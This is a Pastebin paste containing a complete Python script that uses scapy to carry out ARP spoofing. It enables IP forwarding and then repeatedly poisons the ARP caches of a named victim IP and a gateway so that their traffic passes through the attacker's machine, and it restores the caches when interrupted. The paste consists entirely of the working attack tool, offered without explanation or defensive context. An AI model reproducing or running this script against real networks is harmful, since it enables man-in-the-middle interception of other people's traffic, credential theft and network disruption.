Advertisement
MadCortez

Untitled

Jun 3rd, 2022
1,109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.37 KB | None | 0 0
  1. from scapy.all import Ether, ARP, srp, send
  2. import argparse
  3. import time
  4. import os
  5. import sys
  6.  
  7. def _enable_linux_iproute():
  8.  
  9.     file_path = "/proc/sys/net/ipv4/ip_forward"
  10.     with open(file_path) as f:
  11.         if f.read() == 1:
  12.  
  13.             return
  14.     with open(file_path, "w") as f:
  15.         print(1, file=f)
  16.  
  17. def _enable_windows_iproute():
  18.  
  19.     from services import WService
  20.  
  21.     service = WService("RemoteAccess")
  22.     service.start()
  23.  
  24. def enable_ip_route(verbose=True):
  25.  
  26.     if verbose:
  27.         print("[!] Enabling IP Routing...")
  28.     _enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute()
  29.     if verbose:
  30.         print("[!] IP Routing enabled.")
  31.  
  32. def get_mac(ip):
  33.  
  34.     ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
  35.     if ans:
  36.         return ans[0][1].src
  37.    
  38. def spoof(target_ip, host_ip, verbose=True):
  39.  
  40.     target_mac = get_mac(target_ip)
  41.  
  42.     arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
  43.  
  44.     send(arp_response, verbose=1)
  45.     if verbose:
  46.  
  47.         self_mac = ARP().hwsrc
  48.         print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))
  49.  
  50. def restore(target_ip, host_ip, verbose=True):
  51.  
  52.     target_mac = get_mac(target_ip)
  53.  
  54.     host_mac = get_mac(host_ip)
  55.  
  56.     arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
  57.  
  58.     send(arp_response, verbose=0, count=7)
  59.     if verbose:
  60.         print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))
  61.  
  62. if __name__ == "__main__":
  63.     parser = argparse.ArgumentParser(description="ARP spoof script")
  64.     parser.add_argument("target", help="Victim IP Address to ARP poison")
  65.     parser.add_argument("host", help="Host IP Address, the host you wish to intercept packets for (usually the gateway)")
  66.     parser.add_argument("-v", "--verbose", action="store_true", help="verbosity, default is True (simple message each second)")
  67.     args = parser.parse_args()
  68.     target, host, verbose = args.target, args.host, args.verbose
  69.     enable_ip_route()
  70.     try:
  71.         while True:
  72.  
  73.             spoof(target, host, verbose)
  74.  
  75.             spoof(host, target, verbose)
  76.  
  77.             time.sleep(1)
  78.     except KeyboardInterrupt:
  79.         print("[!] Detected CTRL+C ! restoring the network, please wait...")
  80.         restore(target, host)
  81.         restore(host, target)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement